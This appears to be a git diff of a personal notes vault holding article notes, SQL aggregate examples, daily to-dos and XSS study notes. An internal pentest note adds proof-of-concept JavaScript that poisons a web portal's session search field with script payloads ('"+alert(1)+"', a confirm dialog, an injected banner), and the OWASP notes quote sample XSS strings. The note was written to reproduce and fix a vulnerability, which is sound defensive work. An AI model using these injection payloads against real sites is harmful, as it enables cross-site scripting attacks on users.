"copilot/copilot-custom-prompts/Rewrite as tweet.md",
|
||||
"copilot/copilot-custom-prompts/Remove URLs.md",
|
||||
"copilot/copilot-custom-prompts/Generate glossary.md",
|
||||
"copilot/copilot-custom-prompts/Generate table of contents.md",
|
||||
"copilot/copilot-custom-prompts/Make longer.md",
|
||||
"copilot/copilot-custom-prompts/Make shorter.md",
|
||||
"copilot/copilot-custom-prompts/Emojify.md",
|
||||
"copilot/copilot-custom-prompts/Explain like I am 5.md",
|
||||
"copilot/copilot-custom-prompts/Simplify.md",
|
||||
"copilot/copilot-custom-prompts/Summarize.md",
|
||||
"copilot/copilot-custom-prompts/Translate to Chinese.md",
|
||||
"copilot/copilot-custom-prompts/Fix grammar and spelling.md",
|
||||
"copilot/copilot-custom-prompts",
|
||||
"copilot",
|
||||
"Career/Regex.md",
|
||||
"Dailies/2026-06-04.md",
|
||||
"Career/Microlise/Session Stored XSS PENTEST.md",
|
||||
"Career/Security/Cross Site Scripting (XSS).md",
|
||||
"Career/Concepts.md",
|
||||
"Career/API/API Architecture.md",
|
||||
"Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md",
|
||||
"copilot/memory/Recent Conversations.md",
|
||||
"copilot/copilot-conversations/Hello@20260603_222655.md",
|
||||
"copilot/memory",
|
||||
"copilot/copilot-conversations/Can_you_complete_the_common_aggregate_functions_with_examples_and@20260603_222600.md",
|
||||
"copilot/copilot-conversations",
|
||||
"copilot",
|
||||
"Career/Database - SQL/SQL Joins.md",
|
||||
"Career/Database - SQL/Attachments/Pasted image 20260603221345.png",
|
||||
"Career/Database - SQL/Attachments",
|
||||
"Articles/Articles MOC.md",
|
||||
"Articles/Substack Articles.md",
|
||||
"Articles/20 Software Engineering Laws.md",
|
||||
"pdfs/_articles/20-laws-software-engineering.pdf",
|
||||
"Index.md",
|
||||
"Non Technical/z resources.md",
|
||||
"pdfs/_articles/The New Definition of Software Engineering in the Age of AI Is Already Here _ by Deep concept _ Let’s Code Future _ May, 2026 _ Medium.pdf",
|
||||
"Articles/Redefining the Software Engineering Profession for AI.md",
|
||||
"pdfs/_articles/Opinion.pdf",
|
||||
"Articles/I thought I knew system design.md",
|
||||
"Articles/Every Senior Engineer has read these books.md",
|
||||
"Books/Books MOC.md",
|
||||
"Career/API",
|
||||
"Books/The Science of Self-Discipline.md",
|
||||
"Books/Notes/Neuroplasticity.md",
|
||||
"Books/Ikigai.md",
|
||||
"Books/So good they cant ignore you.md",
|
||||
"pdfs/_articles/Effects of insufficient sleep on circadian rhythmicity and expression amplitude of the human blood transcriptome.pdf",
|
||||
"Articles/Reason some people are likable.md",
|
||||
"pdfs/_articles/reason-some-people-are-likable.pdf",
|
||||
"Articles/Software Quality.md",
|
||||
"pdfs/_articles/software-quality.pdf",
|
||||
"Articles/Effects of insufficient sleep on circadian rhythmicity.md",
|
||||
"Articles/Effect of Tiktok on teens.md",
|
||||
"Career/Microlise/Seb Search Improvements.md",
|
||||
"Career/Devops",
|
||||
"Career/Security/Attachments/Pasted image 20260603202316.png",
|
||||
"Career/Security/Attachments/Pasted image 20260603202301.png",
|
||||
"Books/Attachments/Pasted image 20260603145548.png",
|
||||
"pdfs/_misc/Ikigai.pdf",
|
||||
"Books/Attachments/Pasted image 20260603145055.png",
|
||||
"Books/Attachments/Pasted image 20260603145047.png",
|
||||
"Books/Attachments/Pasted image 20260603144656.png",
|
||||
"Books/Attachments/Pasted image 20260603144325.png",
|
||||
"Books/Attachments/Pasted image 20260603144043.png",
|
||||
"Books/Attachments/Pasted image 20260603143606.png",
|
||||
"Books/Attachments/Pasted image 20260603143542.png",
|
||||
"Books/Attachments/Pasted image 20260603143442.png",
|
||||
"Books/Attachments",
|
||||
"pdfs/_misc/The Book of Ichigo Ichie.pdf",
|
||||
"Books/Books",
|
||||
"Books/",
|
||||
"Books/Notes",
|
||||
"Articles/Attachments/2026-05-22-every-senior-engineer-i-respect-has-read-these-books-have-you-by-the-latency-gambler-mar-2026-medium-01.png",
|
||||
"Untitled.canvas"
|
||||
]
|
||||
}
|
||||
@@ -1,5 +1,22 @@
|
||||
These are PDF articles that have been saved under the `pdfs/` folder, annotated and studied.
|
||||
This is different to [[z resources]] as that will contain resources in general, including articles (articles are a subset of the responsibilities of [[z resources]])
|
||||
|
||||
## Software Articles:
|
||||
|
||||
- [[I thought I knew system design]]
|
||||
- [[Every Senior Engineer has read these books]]
|
||||
- [[Software Quality]]
|
||||
- [[Software Quality]]
|
||||
- [[20 Software Engineering Laws]]
|
||||
- [[Redefining the Software Engineering Profession for AI]]
|
||||
|
||||
- [[Effects of insufficient sleep on circadian rhythmicity]]
|
||||
- [[Effect of Tiktok on teens]]
|
||||
- [[Reason some people are likable]]
|
||||
|
||||
All files that are not done:
|
||||
```dataview
|
||||
TABLE
|
||||
FROM "Articles"
|
||||
WHERE done != true AND file.name!="Articles MOC"
|
||||
SORT file.name ASC
|
||||
```
|
||||
0
Articles/Effect of Tiktok on teens.md
Normal file → Executable file
@@ -1,6 +1,7 @@
|
||||
---
|
||||
pdf: "[[Every Senior Engineer I Respect Has Read These Books (Have You_) _ by The Latency Gambler _ Mar, 2026 _ Medium.pdf]]"
|
||||
type: pdf-notes
|
||||
done: true
|
||||
---
|
||||
# Every Senior Engineer has read these books Notes:
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@ pdf:
|
||||
date started: 2026-06-03
|
||||
date finished: 2026-06-03
|
||||
type: pdf-notes
|
||||
done: true
|
||||
---
|
||||
# AI summary:
|
||||
|
||||
|
||||
22
Articles/Reason some people are likable.md
Executable file
@@ -0,0 +1,22 @@
|
||||
---
|
||||
pdf:
|
||||
- "[[reason-some-people-are-likable.pdf]]"
|
||||
date started: 2026-06-03
|
||||
date finished: 2026-06-03
|
||||
type:
|
||||
- pdf-notes
|
||||
done: true
|
||||
---
|
||||
# Reason some people are likable: Notes
|
||||
|
||||
> [!PDF|] [[reason-some-people-are-likable.pdf#page=4&selection=12,1,18,70|reason-some-people-are-likable, p.4]]
|
||||
> > acceptance prophecy” — the psychological phenomenon where your expectation of being accepted or rejected subtly shapes your behavior, which in turn influences whether others actually accept or reject you.
|
||||
|
||||
> [!PDF|] [[reason-some-people-are-likable.pdf#page=7&selection=0,67,2,33|reason-some-people-are-likable, p.7]]
|
||||
> > “Don’t wait to be welcomed. Be the welcomer.”
|
||||
>
|
||||
> Interesting conclusion people come to, something we are taught 1400+ years ago.
|
||||
|
||||
> [!PDF|] [[reason-some-people-are-likable.pdf#page=10&selection=6,0,8,31|reason-some-people-are-likable, p.10]]
|
||||
> > Someone has to lower the wall first. Magnetic people are simply the ones who decide that person is them.
|
||||
|
||||
10
Articles/Redefining the Software Engineering Profession for AI.md
Executable file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
pdf:
|
||||
- "[[Opinion.pdf]]"
|
||||
date started: 2026-06-03
|
||||
date finished:
|
||||
type:
|
||||
- pdf-notes
|
||||
done:
|
||||
---
|
||||
# Redefining the Software Engineering Profession for AI: Notes
|
||||
@@ -4,14 +4,17 @@ pdf:
|
||||
date started: 2026-06-03
|
||||
date finished: 2026-06-03
|
||||
type: pdf-notes
|
||||
done: true
|
||||
---
|
||||
|
||||
# Software Quality: Notes
|
||||
|
||||
> (\[\[software-quality.pdf#page=1&annotation=122R|software-quality, p.1\]\])
|
||||
> We've normalized software catastrophes to the point where a Calculator leaking 32GB of RAM barely makes the news.
|
||||
> [!PDF|254, 254, 0] [[software-quality.pdf#page=1&annotation=122R|software-quality, p.1]]
|
||||
> > We've normalized software catastrophes to the point where a Calculator leaking 32GB of RAM barely makes the news.
|
||||
>
|
||||
|
||||
![[2026-05-22-software-quality.png]]
|
||||
|
||||
> (\[\[software-quality.pdf#page=10&annotation=123R|software-quality, p.10\]\])
|
||||
> Teach fundamental engineering principles again. Array bounds checking. Memory management. Algorithm complexity. These aren't outdated concepts—they're engineering fundamentals.
|
||||
> [!PDF|] [[software-quality.pdf#page=10&selection=34,0,40,50|software-quality, p.10]]
|
||||
> > Teach fundamental engineering principles again. Array bounds checking. Memory management. Algorithm complexity. These aren't outdated concepts—they're engineering fundamentals
|
||||
>
|
||||
|
||||
@@ -1,3 +1,11 @@
|
||||
---
|
||||
pdf:
|
||||
date started: 2026-06-03
|
||||
date finished:
|
||||
type:
|
||||
done: true
|
||||
---
|
||||
- [The 20 Software Engineering Laws](id:973f2e9c-f161-45ad-8f19-2e4d563f56ac)
|
||||
|
||||
- [Microsoft banned AI because it cost too much.](https://medium.com/data-science-collective/microsoft-banned-ai-because-it-cost-too-much-135bcbf15a18)
|
||||
# Substack Articles: Notes
|
||||
0
Books/Art of Computer Programming.md
Normal file → Executable file
0
Books/Attachments/Pasted image 20260603143442.png
Normal file → Executable file
|
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 18 KiB |
0
Books/Attachments/Pasted image 20260603143542.png
Normal file → Executable file
|
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 28 KiB |
0
Books/Attachments/Pasted image 20260603143606.png
Normal file → Executable file
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
0
Books/Attachments/Pasted image 20260603144043.png
Normal file → Executable file
|
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 24 KiB |
0
Books/Attachments/Pasted image 20260603144325.png
Normal file → Executable file
|
Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 21 KiB |
0
Books/Attachments/Pasted image 20260603144656.png
Normal file → Executable file
|
Before Width: | Height: | Size: 29 KiB After Width: | Height: | Size: 29 KiB |
0
Books/Attachments/Pasted image 20260603145047.png
Normal file → Executable file
|
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 100 KiB |
0
Books/Attachments/Pasted image 20260603145055.png
Normal file → Executable file
|
Before Width: | Height: | Size: 109 KiB After Width: | Height: | Size: 109 KiB |
0
Books/Attachments/Pasted image 20260603145548.png
Normal file → Executable file
|
Before Width: | Height: | Size: 55 KiB After Width: | Height: | Size: 55 KiB |
@@ -3,7 +3,7 @@ tags:
|
||||
- books
|
||||
- calibre
|
||||
- index
|
||||
generated_at: 2026-06-03T14:09:04.104390
|
||||
generated_at: 2026-06-04T00:00:02.018640
|
||||
---
|
||||
|
||||
# Career
|
||||
|
||||
0
Books/Clean Code.md
Normal file → Executable file
0
Books/Notes/Neuroplasticity.md
Normal file → Executable file
0
Books/Notes/Stanford marshmallow experiment.md
Normal file → Executable file
0
Books/So good they cant ignore you.md
Normal file → Executable file
@@ -46,17 +46,14 @@ Some core programming concepts that are essential for software development. The
|
||||
# APIs
|
||||
|
||||
- [[Restful API]]
|
||||
|
||||
- [[API Architecture]] (Just needs spell checks and re read)
|
||||
|
||||
- [[ASP.NET Core Web API Fundamental Notes]] (todo)
|
||||
|
||||
# Database Related
|
||||
|
||||
- [[Database Permissions, Roles, and Accounts]]
|
||||
|
||||
- [[SQL Joins]]
|
||||
|
||||
- [[Database Permissions, Roles, and Accounts]]
|
||||
- [[SQL Joins]]
|
||||
- [[Using Joins, Constraints, Normalization, and Subqueries]]
|
||||
# Misc
|
||||
|
||||
- [[Windows Services]]
|
||||
@@ -68,73 +65,73 @@ Some core programming concepts that are essential for software development. The
|
||||
|
||||
- [[OWASP Top 10]]
|
||||
- [[Cross Site Scripting (XSS)]]
|
||||
|
||||
- [[Output Encoding]]
|
||||
# Concepts to learn and talk about (cs and maths)
|
||||
|
||||
- ~~xor~~
|
||||
- ~~big O notation~~
|
||||
- ~~time complexity~~
|
||||
- ~~space complexity~~
|
||||
- data structures
|
||||
- algorithms
|
||||
- design patterns
|
||||
- functional programming
|
||||
- object-oriented programming
|
||||
- relational databases vs non-relational databases
|
||||
- ~~Database permissions, roles and accounts~~
|
||||
- networking basics
|
||||
- operating systems fundamentals
|
||||
- concurrency and parallelism
|
||||
- software development methodologies (Agile, Scrum, etc.)
|
||||
- version control systems (Git, etc.)
|
||||
- testing methodologies (unit testing, integration testing, etc.)
|
||||
- security best practices
|
||||
- cloud computing basics
|
||||
- containerization (Docker, Kubernetes, etc.)
|
||||
- DevOps practices
|
||||
- ~~CI/CD pipelines~~
|
||||
- microservices architecture
|
||||
- API design and development
|
||||
- ~~restful apis~~
|
||||
- web development fundamentals (HTML, CSS, JavaScript)
|
||||
- mobile app development basics
|
||||
- machine learning basics
|
||||
- data science fundamentals
|
||||
- big data concepts
|
||||
- blockchain basics
|
||||
- cryptography fundamentals
|
||||
- user experience (UX) design principles
|
||||
- software architecture patterns (MVC, MVVM, etc.)
|
||||
- debugging techniques
|
||||
- performance optimization strategies
|
||||
- software documentation best practices
|
||||
- ethical considerations in software development
|
||||
- emerging technologies in software development
|
||||
- career development in software engineering
|
||||
- soft skills for software engineers (communication, teamwork, etc.)
|
||||
- project management basics for software projects
|
||||
- open source contribution best practices
|
||||
- remote work best practices for software engineers
|
||||
- continuous learning strategies for software engineers
|
||||
- data types
|
||||
- bytes and bits
|
||||
- number systems (binary, decimal, hexadecimal)
|
||||
- logic gates
|
||||
- set theory
|
||||
- graph theory
|
||||
- combinatorics
|
||||
- probability theory
|
||||
- statistics
|
||||
- linear algebra
|
||||
- calculus
|
||||
- discrete mathematics
|
||||
- compilers
|
||||
- interpreters
|
||||
- automata theory
|
||||
- formal languages
|
||||
- Turing machines
|
||||
- computability theory
|
||||
- MVPs and MVTs
|
||||
- [x] xor
|
||||
- [x] big O notation
|
||||
- [x] time complexity
|
||||
- [x] space complexity
|
||||
- [ ] data structures
|
||||
- [ ] algorithms
|
||||
- [ ] design patterns
|
||||
- [ ] functional programming
|
||||
- [ ] object-oriented programming
|
||||
- [ ] relational databases vs non-relational databases
|
||||
- [x] Database permissions, roles and accounts
|
||||
- [ ] networking basics
|
||||
- [ ] operating systems fundamentals
|
||||
- [ ] concurrency and parallelism
|
||||
- [ ] software development methodologies (Agile, Scrum, etc.)
|
||||
- [ ] version control systems (Git, etc.)
|
||||
- [ ] testing methodologies (unit testing, integration testing, etc.)
|
||||
- [ ] security best practices
|
||||
- [ ] cloud computing basics
|
||||
- [ ] containerization (Docker, Kubernetes, etc.)
|
||||
- [ ] DevOps practices
|
||||
- [x] CI/CD pipelines
|
||||
- [ ] microservices architecture
|
||||
- [ ] API design and development
|
||||
- [x] restful apis
|
||||
- [ ] web development fundamentals (HTML, CSS, JavaScript)
|
||||
- [ ] mobile app development basics
|
||||
- [ ] machine learning basics
|
||||
- [ ] data science fundamentals
|
||||
- [ ] big data concepts
|
||||
- [ ] blockchain basics
|
||||
- [ ] cryptography fundamentals
|
||||
- [ ] user experience (UX) design principles
|
||||
- [ ] software architecture patterns (MVC, MVVM, etc.)
|
||||
- [ ] debugging techniques
|
||||
- [ ] performance optimization strategies
|
||||
- [ ] software documentation best practices
|
||||
- [ ] ethical considerations in software development
|
||||
- [ ] emerging technologies in software development
|
||||
- [ ] career development in software engineering
|
||||
- [ ] soft skills for software engineers (communication, teamwork, etc.)
|
||||
- [ ] project management basics for software projects
|
||||
- [ ] open source contribution best practices
|
||||
- [ ] remote work best practices for software engineers
|
||||
- [ ] continuous learning strategies for software engineers
|
||||
- [ ] data types
|
||||
- [ ] bytes and bits
|
||||
- [ ] number systems (binary, decimal, hexadecimal)
|
||||
- [ ] logic gates
|
||||
- [ ] set theory
|
||||
- [ ] graph theory
|
||||
- [ ] combinatorics
|
||||
- [ ] probability theory
|
||||
- [ ] statistics
|
||||
- [ ] linear algebra
|
||||
- [ ] calculus
|
||||
- [ ] discrete mathematics
|
||||
- [ ] compilers
|
||||
- [ ] interpreters
|
||||
- [ ] automata theory
|
||||
- [ ] formal languages
|
||||
- [ ] Turing machines
|
||||
- [ ] computability theory
|
||||
- [x] MVPs and MVTs
|
||||
|
||||
# Data view query
|
||||
|
||||
|
||||
BIN
Career/Database - SQL/Attachments/Pasted image 20260603221345.png
Executable file
|
After Width: | Height: | Size: 447 KiB |
@@ -16,3 +16,5 @@ Here are the different types of JOINs in SQL:
|
||||
- LEFT (OUTER) JOIN: Returns all rows from the left table, and only the matched rows from the right table
|
||||
- RIGHT (OUTER) JOIN: Returns all rows from the right table, and only the matched rows from the left table
|
||||
- FULL (OUTER) JOIN: Returns all rows when there is a match in either the left or right table
|
||||
|
||||
![[Pasted image 20260603221345.png]]
|
||||
269
Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md
Executable file
@@ -0,0 +1,269 @@
|
||||
---
|
||||
note type:
|
||||
- sql
|
||||
- database
|
||||
- theory
|
||||
date: 2026-06-03
|
||||
done:
|
||||
link: https://app.pluralsight.com/ilx/video-courses/sql-joins-constraints-normalization-subqueries/course-overview
|
||||
---
|
||||
# Common Aggregate Functions
|
||||
|
||||
|title|cost|duration|
|
||||
|---|---|---|
|
||||
|Gone with the wind|390000|220|
|
||||
|Frankenstein|3000000|50|
|
||||
|Creature from the black lagoon|500000|79|
|
||||
|NULL|100|10|
|
||||
|
||||
## 1. COUNT()
|
||||
|
||||
## Count all rows
|
||||
|
||||
`SELECT COUNT(*) FROM Movies;`
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
4
|
||||
```
|
||||
|
||||
- Counts all rows, including rows where columns are `NULL`.
|
||||
|
||||
### Count non-NULL values in a column
|
||||
|
||||
`SELECT COUNT(title) FROM Movies;`
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
3
|
||||
```
|
||||
|
||||
- `NULL` title is **not counted**.
|
||||
|
||||
## 2. MIN()
|
||||
|
||||
`SELECT MIN(cost) FROM Movies;`
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
100
|
||||
```
|
||||
|
||||
- Returns the smallest value in the column.
|
||||
|
||||
## 3. MAX()
|
||||
|
||||
`SELECT MAX(cost) FROM Movies;`
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
3000000
|
||||
```
|
||||
|
||||
- Returns the largest value.
|
||||
|
||||
## 4. SUM()
|
||||
|
||||
`SELECT SUM(cost) FROM Movies;`
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
3890100
|
||||
```
|
||||
|
||||
Calculation:
|
||||
|
||||
```
|
||||
390000 + 3000000 + 500000 + 100 = 3890100
|
||||
```
|
||||
|
||||
- Adds all values in the column.
|
||||
- Ignores `NULL` values (none in `cost` here).
|
||||
|
||||
## 5. AVG()
|
||||
|
||||
`SELECT AVG(cost) FROM Movies;`
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
972525
|
||||
```
|
||||
|
||||
Calculation:
|
||||
|
||||
```
|
||||
3890100 / 4 = 972525
|
||||
```
|
||||
|
||||
- Computes the average of all values.
|
||||
|
||||
---
|
||||
|
||||
## Using Multiple Aggregates
|
||||
|
||||
```
|
||||
SELECT
|
||||
|
||||
COUNT(*) AS total_movies,
|
||||
|
||||
MIN(cost) AS cheapest,
|
||||
|
||||
MAX(cost) AS most_expensive,
|
||||
|
||||
SUM(cost) AS total_cost,
|
||||
|
||||
AVG(cost) AS average_cost
|
||||
|
||||
FROM Movies;
|
||||
```
|
||||
|
||||
**Output:**
|
||||
|
||||
```
|
||||
total_movies | cheapest | most_expensive | total_cost | average_cost
|
||||
4 | 100 | 3000000 | 3890100 | 972525
|
||||
```
|
||||
|
||||
# Filtering Aggregates
|
||||
|
||||
| title | cost | duration | genre |
|
||||
| ------------------------------ | ------- | -------- | ------ |
|
||||
| Gone with the wind | 390000 | 220 | Drama |
|
||||
| Frankenstein | 3000000 | 50 | Horror |
|
||||
| Creature from the black lagoon | 500000 | 79 | Horror |
|
||||
| Casablanca | 1000000 | 102 | Drama |
|
||||
| Toy Story | 2000000 | 81 | Family |
|
||||
| NULL | 100 | 10 | Horror |
|
||||
|
||||
## GROUP BY
|
||||
|
||||
`GROUP BY` groups rows so aggregates are calculated per group rather than across the whole table.
|
||||
|
||||
```
|
||||
SELECT genre, SUM(cost) AS total_cost
|
||||
FROM Movies
|
||||
GROUP BY genre;
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
genre | total_cost
|
||||
Drama | 1390000
|
||||
Horror | 3500100
|
||||
Family | 2000000
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
SELECT genre, AVG(duration) AS avg_duration
|
||||
FROM Movies
|
||||
GROUP BY genre;
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
genre | avg_duration
|
||||
Drama | 161
|
||||
Horror | 46.33
|
||||
Family | 81
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## WHERE (filtering rows before aggregation)
|
||||
|
||||
`WHERE` filters rows **before** grouping and aggregation.
|
||||
|
||||
```
|
||||
SELECT genre, COUNT(*) AS num_movies
|
||||
FROM Movies
|
||||
WHERE duration > 60
|
||||
GROUP BY genre;
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
genre | num_movies
|
||||
Drama | 2
|
||||
Horror | 1
|
||||
Family | 1
|
||||
```
|
||||
|
||||
Explanation:
|
||||
|
||||
- The row with duration = 10 is excluded before grouping.
|
||||
|
||||
## HAVING (filtering groups after aggregation)
|
||||
|
||||
`HAVING` filters results **after aggregation**.
|
||||
|
||||
```
|
||||
SELECT genre, SUM(cost) AS total_cost
|
||||
FROM Movies
|
||||
GROUP BY genre
|
||||
HAVING SUM(cost) >= 2000000;
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
genre | total_cost
|
||||
Horror | 3500100
|
||||
Family | 2000000 -- note: included only if >= was used
|
||||
```
|
||||
|
||||
If strictly `> 2000000`, only:
|
||||
|
||||
```
|
||||
Horror | 3500100
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
SELECT genre, COUNT(*) AS num_movies
|
||||
FROM Movies
|
||||
GROUP BY genre
|
||||
HAVING COUNT(*) > 2;
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
genre | num_movies
|
||||
Horror | 3
|
||||
```
|
||||
|
||||
## Combined Example
|
||||
|
||||
```
|
||||
SELECT genre, AVG(cost) AS avg_cost
|
||||
FROM Movies
|
||||
WHERE duration > 60
|
||||
GROUP BY genre
|
||||
HAVING AVG(cost) > 1000000;
|
||||
```
|
||||
|
||||
Steps:
|
||||
|
||||
1. WHERE filters rows (duration > 60)
|
||||
2. GROUP BY groups remaining data
|
||||
3. HAVING filters grouped results
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
genre | avg_cost
|
||||
Family | 2000000
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -428,10 +428,73 @@ Master procedure: **Replicating the vulnerability** section above.
|
||||
| Should it still be fixed? | **Yes**, as hygiene |
|
||||
| Priority vs SQLi / IDOR? | **Much lower** (informational) |
|
||||
|
||||
## Next step
|
||||
## Code snippets
|
||||
|
||||
1. **Reproduce** on cert/UAT (`replicate-vuln` todo).
|
||||
2. **Implement** fixes in `D:\_dev\WebPortal` (`remediate-encode`, `remediate-validate`).
|
||||
3. **Replay** steps and fill comparison matrix (`remediate-retest` todo).
|
||||
### Reset:
|
||||
|
||||
Confirm execution when ready to change WebPortal code.
|
||||
```
|
||||
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||||
body: JSON.stringify({
|
||||
searchID: '0.X', orderID: '0.X',
|
||||
date: '2026-05-27', time: '00:00', hours: 24,
|
||||
displayPriorityJourneys: false, quickSearch: ''
|
||||
})
|
||||
}).then(() => location.reload());
|
||||
```
|
||||
|
||||
### Alert
|
||||
|
||||
```
|
||||
fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||||
body: JSON.stringify({
|
||||
searchID: '0.X',
|
||||
orderID: '0.X',
|
||||
date: '"+alert(1)+"',
|
||||
time: '00:00',
|
||||
hours: 24,
|
||||
displayPriorityJourneys: false,
|
||||
quickSearch: ''
|
||||
})
|
||||
}).then(r => console.log(r.status, r.statusText));
|
||||
```
|
||||
|
||||
### Poison Session
|
||||
|
||||
```
|
||||
function poisonSession(field, payload) {
|
||||
const body = {
|
||||
searchID: '0.X',
|
||||
orderID: '0.X',
|
||||
date: '2026-05-27',
|
||||
time: '00:00',
|
||||
hours: 24,
|
||||
displayPriorityJourneys: false,
|
||||
quickSearch: ''
|
||||
};
|
||||
body[field] = payload;
|
||||
return fetch('ScheduleExecutionBoard.aspx/SaveSearchCriteriaToSession', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
||||
body: JSON.stringify(body)
|
||||
}).then(r => console.log(field, r.status, r.statusText));
|
||||
}
|
||||
```
|
||||
|
||||
### Confirm / prompt (alternative dialog evidence)
|
||||
|
||||
```
|
||||
poisonSession('date', '"+confirm("XSS: SEB session poisoned")+"');
|
||||
```
|
||||
|
||||
### Visible banner
|
||||
|
||||
```
|
||||
poisonSession('date', '"+document.body.insertAdjacentHTML("afterbegin","<div style=\\"position:fixed;top:0;left:0;right:0;background:red;color:white;z-index:99999;padding:12px;text-align:center\\">XSS PoC — arbitrary script executed in SEB context</div>")+"');
|
||||
```
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
6
Career/Regex.md
Executable file
@@ -0,0 +1,6 @@
|
||||
---
|
||||
note type:
|
||||
- theory
|
||||
date: 2026-06-04
|
||||
done:
|
||||
---
|
||||
BIN
Career/Security/Attachments/Pasted image 20260603202301.png
Executable file
|
After Width: | Height: | Size: 44 KiB |
BIN
Career/Security/Attachments/Pasted image 20260603202316.png
Executable file
|
After Width: | Height: | Size: 46 KiB |
@@ -38,3 +38,7 @@ Example: An attacker manipulates the URL of a web page to include a malicious sc
|
||||
- Content Security Policy (CSP): Implement a Content Security Policy to restrict the sources from which scripts can be loaded and executed. This can help mitigate the impact of XSS attacks.
|
||||
|
||||
- Use Security Libraries: Utilize security libraries and frameworks that provide built-in protection against XSS vulnerabilities.
|
||||
|
||||
# Links:
|
||||
- https://cwe.mitre.org/data/definitions/79.html
|
||||
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
|
||||
46
Career/Security/Output Encoding.md
Executable file
@@ -0,0 +1,46 @@
|
||||
---
|
||||
note type:
|
||||
- security
|
||||
- theory
|
||||
date: 2026-06-03
|
||||
done: true
|
||||
link: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
|
||||
---
|
||||
## XSS Defense Philosophy[¶](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#xss-defense-philosophy "Permanent link")
|
||||
|
||||
In order for an XSS attack to be successful, an attacker must be able to insert and execute malicious content in a webpage. Thus, all variables in a web application needs to be protected. Ensuring that **all variables** go through validation and are then escaped or sanitized is known as **perfect injection resistance**. Any variable that does not go through this process is a potential weakness. Frameworks make it easy to ensure variables are correctly validated and escaped or sanitised.
|
||||
|
||||
However, no framework is perfect and security gaps still exist in popular frameworks like React and Angular. Output encoding and HTML sanitization help address those gaps.
|
||||
|
||||
## Output encoding
|
||||
|
||||
When you want data to be safely displayed, just as a user types it in, output encoding is recommended. Variables should not be interpreted as code instead of text. There are different types of output encoding mechanisms used.
|
||||
|
||||
### Output Encoding for HTML Contexts.
|
||||
“HTML Context” refers to inserting a variable between two basic HTML tags like a `<div>` or `<b>`. For example:
|
||||
|
||||
`<div> $varUnsafe </div>`
|
||||
|
||||
An attacker could modify data that is rendered as `$varUnsafe`. This could lead to an attack being added to a webpage. For example:
|
||||
|
||||
``<div> <script>alert`1`</script> </div> // Example Attack``
|
||||
|
||||
### Output Encoding for “JavaScript Contexts”
|
||||
|
||||
“JavaScript Contexts” refers to the situation where variables are placed into inline JavaScript and then embedded in an HTML document. This situation commonly occurs in programs that heavily use custom JavaScript that is embedded in their web pages.
|
||||
|
||||
However, the only ‘safe’ location for placing variables in JavaScript is inside a “quoted data value”. All other contexts are unsafe and you should not place variable data in them.
|
||||
|
||||
Examples of “Quoted Data Values”
|
||||
|
||||
`<script>alert('$varUnsafe’)</script> <script>x=’$varUnsafe’</script> <div onmouseover="'$varUnsafe'"</div>`
|
||||
|
||||
Encode all characters using the `\xHH` format. Encoding libraries often have a `EncodeForJavaScript` or similar to support this function.
|
||||
|
||||
Please look at the [OWASP Java Encoder JavaScript encoding examples](https://owasp.org/www-project-java-encoder/) for examples of proper JavaScript use that requires minimal encoding.
|
||||
|
||||
For JSON, verify that the `Content-Type` header is `application/json` and not `text/html` to prevent XSS.
|
||||
|
||||
## Example
|
||||
|
||||
![[Pasted image 20260603202316.png]]
|
||||
@@ -6,13 +6,13 @@ date: 2026-06-03
|
||||
# 2026-06-03
|
||||
|
||||
## TODOs
|
||||
- [ ] Start making the fix for the XSS
|
||||
- [x] Start making the fix for the XSS
|
||||
- [ ]
|
||||
- [ ]
|
||||
- [ ]
|
||||
- [ ] Reading (5 pages)
|
||||
- [ ] Class 1
|
||||
- [ ] Class 2
|
||||
- [ ] Class 3
|
||||
- [x] Class 1
|
||||
|
||||
|
||||
## Links
|
||||
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
|
||||
18
Dailies/2026-06-04.md
Executable file
@@ -0,0 +1,18 @@
|
||||
---
|
||||
work day: false
|
||||
date: "2026-06-04"
|
||||
---
|
||||
|
||||
# 2026-06-04
|
||||
|
||||
## TODOs
|
||||
- [ ] Complete the fix, understand the regex
|
||||
- [ ]
|
||||
- [ ]
|
||||
- [ ] Reading (5 pages)
|
||||
- [ ] Class 1
|
||||
- [ ] Class 2
|
||||
